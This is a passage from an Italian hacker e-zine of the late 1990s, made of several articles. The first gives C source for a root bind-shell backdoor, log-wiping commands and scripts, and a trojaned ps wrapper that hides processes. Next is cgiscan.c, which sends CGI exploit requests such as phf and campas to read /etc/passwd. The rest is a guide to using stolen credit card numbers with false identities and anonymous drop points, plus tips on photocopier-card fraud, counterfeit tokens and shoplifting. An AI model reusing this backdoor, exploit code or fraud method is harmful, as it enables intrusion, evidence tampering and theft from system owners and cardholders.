exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,
&soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
system("echo Worked!");
}
-------------------------------------------------------------------------------

Il precedente listato esegue una shell di root sulla porta 40313 definita
all'inizio del sorgente. Cosi' come abbiamo fatto per il file ".nome.cgi"
facciamo la stessa cosa con questo.
Lo compiliamo e via....
Creera' una shell di root e voi poi potrete entrare da telnet sulla porta
40313 e killarla non appena avrete finito, quindi non avrete nemmeno il
problema di troianizzare il ps: la azionerete solo quando ne avrete bisogno.

Sara' necessario che infiliate all'interno del codice C del programma backdoor
anche le seguenti istruzioni per togliervi dai log, in quanto l'admin se
vedesse che fosse stata fatta questa richiesta, si incazzerebbe! :))

system("grep -v test.cgi /var/lib/httpd/logs/access_log > tmp ; mv tmp access_log");
system("grep -v .nome.cgi /var/lib/httpd/logs/access_log > tmp ; mv tmp access_log");

Supponendo che i file si chiamino test.cgi e .nome.cgi , poi ognuno se li
cambia come cazzo gli pare.

Ricordatevi quindi di mettere in fondo al file test.cgi, che sara' uno script
shell, la chiamata al file .c compilato, la vera e propria backdoor.

Altri script utili:

-Piccolo script per nascondersi: e' molto banale, pero' e' utile....:

------------------------------------------------------------------------------
#!/bin/sh
if [ $# -eq 0 ]; then echo "Usage: hide ip/login";
else
grep -v $1 /var/log/messages > /tmp/mex; mv /tmp/mex /var/log/messages;
grep -v $1 /var/log/xferlog > /tmp/mex; mv /tmp/mex /var/log/xferlog;
grep -v $1 /var/log/sulog > /tmp/mex; mv /tmp/mex /var/log/sulog;
fi
------------------------------------------------------------------------------

-Altro script di notevole utilita': a volte capita infatti che sia necessario
trojanizzare il ps per permettere a processi tipo bot, sniffer o qualche altra
troiata di rimanere vivi il piu' tempo possibile.
A volte capita pero' che per qualche strano motivo il ps trojanizzato non
funga, oppure non abbiamo il sorgente a portata di mano....
Niente paura, tramite PIPE e GREP ce la faremo lo stesso:

------------------------------------------------------------------------------
pc $1 $2 $3 $4 $5 | grep -v a.out | grep -v "pc"
------------------------------------------------------------------------------

Il contenuto del file lo dovrete copiare in un file chiamato ps e in questo
caso il ps vero si chiamera' pc.

a.out e' il processo da non visualizzare, gli altri sono processi che vengono
generati da questo script e che devono essere nascosti anche loro.
Sarebbe meglio inserire dei caratteri a caso per far si che la dimensione di
"questo ps" sia uguale a o simile a quella del PS vero, altrimenti se l'admin
vede che il ps e' lungo solo 100 bytes....... hmmmm non so se si insospettira'
o meno....

Ok io ho finito... spero che per la prossima volta riesca a buttare giu'
qualcosa di piu' interessante, pero' per ora ciucciatevi questo...

INFORMATION WANTS TO BE FREE
DrumFire


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0DEZ ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

-= H0STS'LiST MAkER =-

Ciao ragazzi,
molto spesso mi sono trovato a dover scannare intere subnet, ma utilizzando
strobe o altri scanner non e' possibile specificare un file di host. Doverli
scrivere tutti a mano e' veramente lungo e noioso. Con questo semplice
programma ho voluto facilitarvi la vita, spero vi possa fare risparmiare
parecchi minuti preziosi (maledetta Telecom).
Per utilizzare questo programma basta specificare l'indirizzo ip dell'host e il
range di indirizzi.
Questo programma dovrebbe essere compilabile su tutti i sistemi, non ho provato
sul Vic20 o sullo Z80, ma vi prometto che controllero'!
Questo e' tutto eccovi il codice:

maker.c
------------------------------------TAGLiA QUi--------------------------------

#include <stdio.h>
#include <stdlib.h>
void main (int argc, char *argv[])
{
int x,opt,start,stop;
char optarg;
start = atoi(argv[2]);
stop = atoi(argv[3]);

if(argc!=4){
printf("\nUsage: %s baseip startsub endsub > dest",argv[0]);
printf("\nEx: %s 151.88.191. 1 30 > site",argv[0]);
printf("\nWill create a file called site with ip from 151.88.191.1 to 151.88.191.29");
printf("\n\n Created by |scacco| - Soft Project 98\n\n");
exit(1);
}

for(x=start;x<stop;x++){
printf("%s",argv[1]);
printf("%d\n",x);
}
}

------------------------------------TAGLiA QUi--------------------------------


-= CGi SCAN =-

CGIscan e' un programma che controlla siti www per possibili bug nella
directory cgi-bin, i bug controllati sono:

1)phf: classico bug tramite cui e' possibile vedere il contenuto delle
directory o files, e' molto vecchio, ma funziona ancora. I siti affetti
da questo bug sono soprattutto .kr o .jp, ma anche molti altri.
Ovviamente se l'httpd ha un uid basso e il sistema usa le shadow non e'
possibile vedere il file passswd cryptato in DES.

2)test-cgi: tramite questo comando e' possibile vedere il contenuto delle
directory presenti sull'hd. Questo programma veniva e viene
distribuito all'interno di molti apache httpd.

3)htmlscript: e' un programma che crea un linguaggio di scripting per il web,
abbastanza buono....se siete hackers! 8)

4)view-source: programma per vedere il sorgente di documenti presenti sull'hd,
tramite cui e' possibile listare /etc/passwd. Se questo programma
esiste all'interno della directory cgi-bin CGIscan potrebbe non
funzionare correttamente poiche' e' necessario specificare il
numero di up-dirs (../) che puo' variare da sistema a sistema.

5-6-7)bug del sistema IRIX 6.2.

Il programma esegue una connessione INET alla porta 80 del nostro target web
server ed esegue la richiesta specificata in stringhe[*] reindirizzando
l'output allo stdout, cioe' nel nostro caso al monitor. Se volete inviare i
risultati ad un file e' possibile usare i comandi pipe del kernel (presenti sia
su linux, unix, ecc... che su windows).
Come command line e' possibile utilizzare:

./webscan < hostfile > potfile

dove hostfile e' il file che continene gli host da scannare (per generare
lunghe liste di ip usate il lists' maker), mentre potfile contiene le risposte
del web-server alle nostre interrogazioni sui cgi.

Ovviamente questo programma puo' essere implementato con nuovi bug, a voi
questo compito!. Per quanto riguarda la compilazione, e' stato testato su linux
RedHat5 su SlackWare e su Win95 (utilizzando il Cygnus Gnu win 32), pare che su
solaris dia qualche problema a livello di include... bha, se trovate il modo
per farlo girare anche li' avvisatemi (non ho macchine solaris a disposizione
per ora ;)
Ed ora la pratica, buon divertimento!:

cgiscan.c
------------------------------------TAGLiA QUi--------------------------------
/* This source is absolutely free to use and modify at you own risch, please
do not change some chars and say that this program is yours or i'll die the
next day... ;). Pay attention, this file is for research purpose only, do not
use it into any hacking way. Is possible to be logged while running the
program, so PAY ATTENTION!.
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.

Many Thanks goes to Soft Project and Orda of the Badlands groups!
I want also give a big thanks to:

Goku: my linux guru
SMa$teR: my prezident
MaNdraKe: and his future girlfriends
Pr3dator: for his help on linux (go slower on cars!:pPp)
PhoenYx: the best italian hacker
Berk: a cool friend and a wannabe hacker
xOANON: the best cracker all around
Golem: for his bot, what about setting it on #softpj? ;)
Spaceone: a good friend
TanK_GirL: a future hacker! (i hope)
RootShell: for many source and ideas

I want also give a big fuck to:

Telecom Italia: u must die!
WarLords: Good ircwarriors but stupid people
Alexb: pay attention at your fuckin' shells
Lamers: try to be more newbies!

by |scacco| */

#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>

main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=0, X;
char *stringhe[7];
for(i=0;i<7;i++) {
stringhe[i]=(char *) malloc(sizeof(char)*100);
}

/* Classic PHF bug... It still Works! */

stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";

/* test-cgi bug, possible to view documents location */

stringhe[1]="GET /cgi-bin/test-cgi?*\n";

/* htmlscript bug, a good language that can us have passwd ;) */

stringhe[2]="GET /cgi-bin/htmlscript?../../../../etc/passwd\n";

/* view-source bug, some httd use this... */

stringhe[3]="GET /cgi-bin/view-source?../../../../etc/passwd\n";

/* Wrap allow you to have a directory listing on IRIX 6.2 systems */

stringhe[4]="GET /cgi-bin/wrap?/../../../../../etc\n";

/* Campas allow you to get the passwd on NCSA server 1.2 */

stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n";

/* With pfdisplay is possible to get the passwd on IRIX 6.2 systems */

stringhe[6]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/passwd\n";



while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));

hp = gethostbyname (hosta);
for(i=0;i<7;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));
while((X=read(sock,FileBuf,8096))!=0)
write(1,FileBuf,X);

}

}
printf("\nScacco - Soft Project 98");
}
------------------------------------TAGLiA QUi--------------------------------

Enjoy cause today you are live, but tomorrow you couldn't ...

|scacco|


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ TECNiCHE Di CARDiNG iN iTALiA ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ

ndr: l'articolo che segue e' stato scritto da sPIRIT ed in seguito commentato
da Vide0Fuzzy (interventi contenuti tra le parentesi).

Ora che nella prima parte dell'articolo che avete letto su BFi1 (se non
l'avete ancora visto scaricatevelo ora!!!) siete stati gentilmente istruiti
su come procurarsi quei bellissimi numerini tanto utili, e' il momento di far
fruttare il frutto delle vostre ricerche.
Ovviamente la cosa risulta molto pericolosa ed e' bene che lo sappiate da
subito: i rischi che si corrono sono ben piu' alti che in qualunque altra
attivita' underground che si possa praticare (questo argomento sara' trattato
in maniera estesa in un futuro numero di BFi) e di conseguenza NON agite con
leggerezza.
Il mio scopo ora e' di darvi delle dritte su come utilizzare i numeri in
vostro possesso, possibilmente senza rischiare il sole a scacchi. A tal
proposito ricordatevi sempre di 4 regole d'oro:
- se non siete sicuri al 100% di quello che fate, NON FATELO.
- SIATE SOSPETTOSI! Chiunque potrebbe lavorare contro di voi.
- SIATE PRECISI! Ogni distrazione potrebbe costarvi caro.
- Qualunque cosa succeda, ricordate sempre che dal momento in cui utilizzate
quel famoso numerino al momento in cui il legittimo proprietario della
carta venga informato dell'addebito passa del tempo. Generalmente gli
estratti conto delle banche arrivano a domicilio alla fine del mese... se
saprete calcolare bene i tempi, potreste trovarvi a svernare in Sudamerica
molto prima che si accorgano di voi :)

(Vide0Fuzzy:
un dato su quanto detto da Spirit: nell'ultimo anno le truffe con
carte di credito sono calate non solo percentualmente come importo, ma anche
come quantita' mentre sono aumentati i "furbi" che sono stati beccati.
Questo anche in virtu' di un nuovo sistema di individuazione dei possibili
utilizzi illeciti di cc effettuato grazie a reti neurali che controllano
costantemente i tipi di acquisti segnalando quelli che esulano per importo o
tipo rispetto al normale utilizzo di quella cc - occhio quindi a spendere
troppo se il tipo che la utilizzava non faceva grandi acquisti.
Dati presi da bancaforte il periodico di sicurezza bancaria)

Passiamo al sodo.

La prima cosa che potrebbe venire in mente e' utilizzare i numeri faticosamente
ricavati per ottenere accesso ad una serie di servizi a pagamento messi a
disposizione dalla rete.
A tal proposito si pensa immediatamente ai vari Adultcheck & compagnia varia,
che proteggono ormai l'accesso alla quasi totalita' di siti con contenuti
pornografici.
Questi servizi richiedono l'inserimento di dati personali e un numero di cc
(sapete a cosa mi riferisco con questo termine), e quest'ultimo viene
controllato tramite alcune compagnie finanziarie che si occupano di verificare
il numero e di addebitare l'importo, importo che e' spesso irrisorio e
presentato in maniera completamente anonima: sull'estratto conto non apparira'
mai un addebito di 5$ per conto del sito superpornohard di turno, quanto un
meno sospetto "Digital Service Corp." o simili, per proteggere dalle mazzate di
mogli puritane i mariti affamati.
Per prima cosa e' utile un generatore di identita', vi segnalo il grande
GENERID2 di Cavallo de Cavallis, in modo da avere sempre sottomano dati
credibili a cui fa capo la piccola transazione. Poi guardando bene le pagine da
cui avviene il pagamento si nota che, in piccolo, compare SEMPRE l'ip di chi
sta effettuando l'operazione: questo significa che siete IN OGNI CASO
rintracciabili.
Il passo successivo e' di conseguenza il mascheramento del proprio ip. Il
consiglio e' di utilizzare servizi come Web Anonymizer (www.anonymizer.com)
prima di collegarsi al sito scelto (e, guarda caso, proprio Anonymizer offre
abbonamenti ottenibili con cc... meditate gente meditate :), oppure di
effettuare il collegamento da un cybercafe' (li hanno inventati per qualcosa)
o con un account internet non proprio, preferibilmente utilizzando un provider
che non si utilizza abitualmente, in modo da limitare al massimo i rischi.

(Vide0Fuzzy:
perche' non utilizzare gli abbonamenti omaggio tin regalati da molte riviste?
Per renderli operativi basta mettere tutti i dati (cod fiscale, via, telefono
ecc) di una persona. Dico di una persona, non per forza i vostri!!! Tanto per
dare qualche suggerimento: quel professore rompiscatole di cui conoscete
tutto, quella sventola di bionda che non vi vuole proprio filare ecc)

Nello stesso modo si possono acquistare shell o altri benefici, sempre tenendo
presente le precauzioni descritte sopra.

Altra possibilita' per chi si trova in possesso di numeri e' lo scambio su irc.
C'e' SEMPRE gente interessata a questo tipo di materiale e cio' che si ricava
e' spesso utile. Si vocifera di shell o calling cards (se sapete cosa sono), ma
ovviamente io non ho mai visto nulla...
Il consiglio in questo caso e' di non trattare MAI con gente che non si conosce
o in generale poco fidata e di parlare esclusivamente in DCC chat per
minimizzare i rischi di logging.

Altri due casi in cui non e' necessario avere fisicamente a portata di mano la
cc, ma basta il magico numerino: acquisti per telefono e per via postale.
Quante volte in televisione si vedono super offerte di materiale vario, con in
sovraimpressione il numero telefonico da chiamare, oppure quante volte
sfogliando le riviste si trovano tagliandi di ordinazione, sui quali si nota
benissimo nelle modalita' di pagamento la possibilita' di utilizzare cc
(specificando il numero, ovviamente)?
Tenete ben presente due cose: la prima e' che questi numeri vengono IN OGNI
CASO controllati per verificarne l'esistenza, la seconda e' che per importi
superiori a certe cifre (che comunque viaggiano nell'ordine dei 5 zeri o piu')
i controlli si fanno piu' accurati... morale: se acquistate un
vibromassaggiatore siete anche relativamente sicuri, se volete una Ferrari
state certi che non vi arrivera' mai... vi arriveranno omini in divisa.
Le precauzioni da prendere anche qui vanno nell'ordine del maniacale paranoico:
per quanto riguarda il telefono, utilizzate SEMPRE una cabina, possibilimente
in una citta' diversa, mentre se acquistate per via postale scrivete nel modo
piu' illeggibile possibile, la firma (sempre richiesta) deve essere il piu'
contorta possibile, non toccate nulla se non avete i guanti (signori, siamo
TUTTI schedati, le nostre impronte digitali le archiviano nel momento in cui si
fa la visita di leva) e imbucate la lettera in una citta' diversa.
A questo punto siete pronti a ricevere il pacco dono, cioe' la parte piu'
difficile. La domanda e': dove lo posso far mandare?
Se avete letto tutte le belle storielle degli hackers americani degli anni '80,
sarete a conoscenza della possibilita' di far recapitare il tutto (solo oggetti
non voluminosi, mi raccomando) all'indirizzo di qualche vicino (o lontano :)
in vacanza. La scomodita' e' che bisogna sempre essere in zona al momento della
consegna della posta, e non e' bello che la gente ci veda mentre frughiamo
nella corrispondenza altrui...
L'alternativa c'e', e si chiama Fermo Posta.
Nel caso non sappiate cosa sia, il Fermo Posta e' un servizio messo a
disposizione dalle PP.TT., e' completamente anonimo e non e' personale.
Praticamente e' una casella postale, identificata da un numero e da un ufficio
postale (ad esempio Fermo Posta 31337 - Milano Centrale), che chiunque puo'
controllare esibendo un ticket.
La registrazione e' semplicissima: ci si presenta in un ufficio postale e si
richiede un Fermo Posta. Dopo un brevissimo controllo di un documento
d'identita' (necessario a verificare che la richiesta provenga da una persona
in grado di esercitare diritti e doveri nei confronti dello Stato), che
comunque non viene archiviato in nessun luogo, vi viene consegnato un ticket e
si paga una somma irrisoria come tassa. Da quel momento il Fermo Posta non
corrisponde ad una persona fisica, ma esclusivamente ad un numero (e qui c'e'
la differenza con la Casella Postale, che fa capo ad un gruppo di persone ben
definito).
Chiunque, e ripeto chiunque, sia in possesso del ticket puo' controllare il
contenuto del Fermo Posta e ritirarlo, pagando poche migliaia di lire come
tassa. Non viene eseguito NESSUN controllo.
Il rischio puo' venire solo all'origine della transazione: il vero titolare
della cc viene a conoscenza della transazione e presenta denuncia, gli organi
di polizia si presentano dalla ditta che ha richiesto l'addebito, che fornisce
l'indirizzo del Fermo Posta, e quando voi andate a ritirare il pacco gli
"amici", che vi stavano aspettando, vi prendono... e saluti...
Fate queste cose, se proprio dovete, il piu' lontano possibile dalla scandenza
dell'estratto conto...

(Vide0Fuzzy:
c'e' un'ulteriore possibilita': utilizzare quei negozi che affittano cassette
di posta - vedi la catene "mail boxes etc." - che offrono la possibilita' di
ritirare la posta 24H su 24H. Per noleggiare una cassetta, anche mensilmente,
basta solitamente presentare un codice fiscale - almeno in quel negozio a cui
ho chiesto non volevano la carta di identita'- e non e' per niente difficile
creare un codice fiscale fasullo - naturalmente legato alla persona che avra'
poi "ordinato" il pacco. Molti per paura di perdere il codice fiscale
viaggiano con una fotocopia di questo e nessuno si lamenta, e pensare che
basta uno scanner per cambiare qualche dato e poi una fotocopiatrice per farne
una copia verosimile, non so proprio come certa gente si fidi di quel pezzo di
carta ;)
Non solo: potento ritirarla a qualsiasi ora si puo' passare in piena notte,
osservare se qualcuno, leggasi polizia, e' dalla parti e solo se e' tutto
tranquillo entrare, ritirare il pacco e via...
Ah, un momento dimenticavo.. occhio alle telecamere che da qualche parte ci
sono sicuramente, che ne dite di indossare il buon vecchio passamontagna nero
prima di entrare? ;)

E' interessante notare una cosa: la possibilita' (sempre piu' sbandierata) di
far pervenire la merce tramite corriere espresso, e cito UPS, Bartolini,
WorldWide Delivery, TNT Traco e molti altri. Sono servizi sempre piu'
utilizzati da ditte, sia in rete che non (avete mai provato ad ordinare cd
audio su CDNOW?), sia per la velocita', che per l'affidabilita' e la
precisione. Certo, trasportano il materiale a domicilio e non, ad esempio, in
un Fermo Posta... ma c'e' il trucco.
Siccome quando viene eseguito l'ordine e richiesta la spedizione via corriere
espresso il pacco diventa dominio del corriere, e' possibile seguire in tempo
reale il percorso effettuato dai vostri nuovi beni, e soprattutto e' possibile
sapere con una precisione nell'ordine dei minuti quando arrivera' a
destinazione cio' che si e' ordinato. Una firma e via :), basta non farsi
recapitare il tutto sotto casa... in alcuni casi e' necessario presentare un
documento d'identita', fabbricate gente, fabbricate, che non stanno a
controllare col microscopio, basta che corrispondano i dati. Se proprio avete
poca voglia, potete dire che il pacco e' della vicina (che casualmente e' in
vacanza), che trovandosi momentaneamente assente, non puo' ritirare nulla. Voi
dite di essere stati incaricati, e se sapete contenuto del pacco, destinatario
e altri dati vari (che sapete per forza, l'avete ordinato voi!) non dovrebbero
stressare troppo. Ovviamente dovete aver avuto l'accortezza all'origine di
usare come destinatario proprio la vostra vicina, nella speranza che non sia
una biondona da 1.80m a cui sbavate dietro da secoli :)

Trucco generale: fate fare tutto da una ragazza... e' meno sospetta. La voce
femminile al telefono da' sicurezza, la scrittura femminile (e un nome
femminile come ricevente del materiale) da' molto meno da pensare...).

Ultima nota: se vi fate spedire i piani segretissimi del prossimo colpo di
stato, e gli sbirri aprono il pacchetto e vengono a prendervi, quelle sono
prove acquisite illegalmente (la posta e' PROPRIETA' PRIVATA, ricordatelo
sempre), che non valgono in sede di processo...

Alla prossima
-sPIRIT
(Vide0Fuzzy:
prima di lasciarvi, un piccolo compitino per casa per la prossima lezione.
Andate in una qualsiasi banca, non la vostra naturalmente, e chiedete di voler
aprire un conto, rompete le scatole chiedendo tassi, condizioni, tipi di
investimento ecc, prima di uscire chiedete il biglietto da visita del tizio
con cui avete parlato (dovrebbe esserci il nome, cognome, num tel ecc. ecc.)
e poi senza farvi notare prendete nota di tutte gli impiegati che vi lavorano
(nome,cognome e posizione (cassiere, consulente ecc). La prossima volta vi
spiego, se avete fatto i bravi, che ci potete fare ^_^)

ATTENZIONE!
L'autore (anch'io, Vide0Fuzzy) non intende essere ritenuto responsabile di
eventuali comportamenti scorretti derivanti dalla lettura di questo articolo.
L'autore si dissocia nella maniera piu' categorica dalle pratiche descritte in
questo articolo e scoraggia la loro applicazione.
sPIRIT
Vide0Fuzzy

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ HACK THE WORLD !!! ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
<ovvero>
TiPs aNd TrIcKs pEr lA ViTa dI tUtTi i GiOrnI !!!

Rieccoci qui per un altro articolo pazzo.
Premetto che tutte le infoz presenti in questo articolo sono delle pure
curiosita', e che per nessuna ragione hanno riferimenti a fatti realmente
accaduti... <..^_^..>

I SOGGETTI FACILMENTE IMPRESSIONABILI E DI RIGOROSA MORALE SONO PREGATI DI
INTERROMPERE LA LETTURA....ORA.......:))))

OK ora che siamo TUTTI pronti e vaccinati possiamo iniziare la nostra storia.
Ipotizziamo che per qualche ragione particolare, malattia psichica o paranoia,
noi si abbia l'esigenza irresistibile di vivere alle spalle del nostro
prossimo..magari divertendoci pure...come potremmo fare..?
Allora, il protagonista della storia e' un ipotetico studente...uno
apparentemente come tutti gli altri...ma con qualcosa in + !!
Il nostro eroe ha pero' un problema...NON possiede denaro..e quindi si sente
escluso da tutti i vantaggi che esso puo' offrire...
Dopo aver stretto un profondo legame d'amicizia con tanti altri come lui decide
che si potrebbe organizzare una societa' di amici...amici con molte cose in
comune e soprattutto con uno scopo in comune..<vedi introz.>
Il primo amico suggerisce che si possono sfruttare le carte di credito
altrui...e cosi' avviene con somma gioia di tutti...poi stanchi di un sistema
cosi' laborioso e lento gli amici cominciano a cercare sistemi vari e misti,
che possano bene adattarsi alle esigenze quotidiane in modo efficente e rapido,
tenendo le cc per casi + importanti e particolari.
Il nostro eroe allora suggerisce di cominciare dai libri di informatica, che
sono sempre una buona cura per le malattie della mente e del corpo!
I suddetti libri possono essere facilmente presi in PrEsTiTo da qualsiasi
LiBrErIa, ma e' certo molto + facile e sicuro affidarsi alle fotocopie!
Gli amici dicono OK, i libri sono rigorosamente fotocopiati, ma cosa c'e' di
nuovo in questa idea?
L'eroe allora interviene e, ricordando ai suoi amici la + totale assenza di
denaro, fa notare che le fotocopie costano comunque un'infinita' di soldi.
Il bello viene quindi nel metodo e nel mezzo scoperti dall'eroe!!
L'eroe spiega agli amici che le macchine fotocopiatrici, come la totalita'
delle macchine elettroniche, funzionano seguendo un programma su rom, quindi e'
probabile che anche questo programma abbia dei bugs come i suoi fratelli
maggiori (es. Winzozz 95), basta trovare i bugs ed il gioco e' fatto! Guarda
caso proprio li' vicino si trova una macchina fotocopiatrice automatica, di
quelle con la tessera magnetica precaricata, per essere precisi ipotizziamo sia
una che riporta il marchio NASHUATEC, questo modello e' tra i + diffusi e nel
nostro caso ha un piccolo lettore di schede con tastierino numerico in alto
sulla destra...
Il bug in questione riguarda proprio il lettore/scrittore di schede...
Una volta che la propria scheda e' arrivata ad avere in carica una sola
fotocopia, e' sufficente selezionare il formato A3 per rendere la propria
scheda eterna....ovvero..con il formato A3 si possono fotocopiare 2 fogli A4 su
un solo A3, quindi la macchina cerca di scalare 2 fotocopie dalla tessera, ma
dato che vi trova 1 solo credito, e non potendo inserire un numero negativo...
incontra un FATAL ERROR...esegue le copie e sputa la scheda...che pero' ha
ancora un credito in memoria...quindi la si rimette e via dicendo...
Oltre a questo il nostro eroe sa che c'e' un altro bug interesante che ci
permette di arrivare ad avere un credito solo facendo il doppio di fotocopie a
parita' di crediti...
A questo scopo si deve usare come al solito la carta A3, ma la si deve inserire
nell'inseritore a mano (e non tramite il cassetto) selezionando pero' A4...la
macchina fara' quindi 2 fotocopie e ne scalera' 1.
A questo punto gli amici felici chiedono al loro amicone se esistono altri
trucchetti simili per altri tipi di macchine..
Il nostro eroe passa quindi a fare una lunga lista, che io vi riporto
fedelmente:

1- SALA GIOCHI

Comprare 1 gettone sala giochi, portarlo a casa, fare uno stampo a doppia
faccia del gettone col das, a stampo secco preparare tante copie del gettone
fondendo dello stagno nello stampo....
A volte certi giochi si fanno fregare dal gettone finto, ma quello che
interessa a noi sono quei particolari giochi dove si vincono gettoni.. quelli
dove lanciando un gettone se ne possono far cadere altri..
Dato che il gettone finto fatto in stagno e' molto + pesante di quello
originale, una volta lanciato avra' l'effetto della bomba atomica su Hiroshima,
distruggendo tutto e facendo cadere decine di gettoni originali.
Al nostro eroe piacciono molto le bombe..in tutti i sensi !! ;)

2- VIDEONOLEGGI

Nelle videoteche automatiche che utilizzano tessere a codice a barre ci sono
molti bugs..
Intanto le tessere si possono copiare con una semplice fotocopia, poi a
seconda del software utilizzato se si e' fortunati si becca quello che come
codice segreto usa la data di nascita dell'abbonato (e' il + diffuso).
Il codice e' qundi di 6 cifre es 011184 = 1Novembre1984
Sara' molto facile trovare qualcuno che chiaccherando riveli il suo codice
ehm pardon la sua data di nascita...poi procurarsi la tessera sara' altrettanto
facile, quel tanto che basta per copiarla, oppure si puo' chiedere alla vittima
di mostrarcela perche' siamo interessati ad iscriverci anche noi, ed una volta
in mano nostra, possiamo imparare a memoria quei numerini sotto al codice a
barre per poterlo riprodurre.
E' importante sapere che una volta in possesso della tessera copiata, si
possono noleggiare le cassette al noleggio automatico, il quale, tra l'altro,
al momento della restituzione non controlla se quello che date e' la cassetta,
potrebbe benissimo essere una scatola vuota su cui avete incollato l'adesivo
della cassetta originale con su il codice a barre della cassetta. E' ovvio che
cosi' facendo si mandano in fallimento le videoteche.
Il nostro eroe possiede centinaia di videocassette, per lo + senza scatola, e
la videoteca sotto casa sua e' fallita. ;))

3-VIDEOCASSETTE COPIATE

Copiare le videocassette e' diventato sempre + difficile.
All'inizio bastava avere 2 videoregistratori una tessera come da punto 2 e
molte cassette vergini.
Poi con l'introduzione di un sistema antipiarateria tutto si e' fatto piu'
difficile.
Il sistema basa il suo funzionamento su di un particolare segnale, occultato
nel nastro originale, che provoca nella copia registrata quel fastidioso
effetto che molti di voi avranno visto, ovvero il continuo andare e venire
della luminosita' con una preponderante tendenza dei colori al rosso sangue.
Il tutto e' molto macabro e di sicuro effetto, ma non e' il risultato che si
voleva ottenere nella copia.
Per distruggere anche questa fastidiosa protezione e' sufficente collegare
in mezzo al cavo che collega i 2 videoregistratori un piccolo circuito che
elimina la protezione e migliora la qualita' d'immagine della copia.
Lo schema del circuito dovrebbe essere incluso a questo articolo (ndr:schema e
infoz del circuito sono contenute nel file circuito.zip).
Il nostro eroe ha consumato le testine di 2 videoregistratori a forza di far
copie....l'eroe e' soddisfatto !

4-NEGOZI E SUPERMEGAMERCATI

Veniamo alla parte + pericolosa.
Molti sono quelli che si dedicano al takkeggio....molti lo fanno per
necessita', molti per divertimento, altri per il bisogno d'avventura e di
emozioni forti.
L'eroe si pone in difesa di tutti questi e ricorda loro che qualunque sia il
movente, l'importante e' lo stile, lo stile e' tutto.
Lo stile, il self-control, la propria etica e tutto un insieme di regole
comportamentali fanno di un qualunque inutile essere umano, insignificante
sacchetto di sangue, un vero EROE.
Per gli appassionati di fumetti e manga vari consiglio Occhi di gatto, City
hunter, e l'immancabile LUPIN...un vero esempio.
Comunque, mettiamo da parte i sentimentalismi vari e veniamo al sodo.
I sistemi di sicurezza si fanno sempre piu' sofisticati, e la capacita' di
organizzarsi in anticipo, d'avere sempre un minimo d'attrezzatura e soprattutto
la capacita' di improvvisare rapidamente vi permetteranno di vivere piu' a
lungo, liberi di vagare nella notte.
Ci sono delle regole fondamentali da non dimenticare mai:
Non bisogna mai essere appariscenti, si deve sembrare insignificanti ed
ignoranti..mai far capire al nemico che siete piu' furbi di lui!
Bisogna sempre fare dei giri di ricognizione, facendo particolare attenzione a
TELECAMERE visibili ed invisibili (es osservare con attenzione sui monitor
generalmente in vicinanza delle casse quali sono i punti sotto controllo, cosi'
da capire dove sono le telecamere). L'abbigliamento deve essere capiente ed
anonimo, non si deve mai dare l'impressione di volere nascondere qualcosa,
neanche nelle intenzioni, anzi.
Se possibile l'aiuto di un amico semplifica molto, ma sempre ponendo
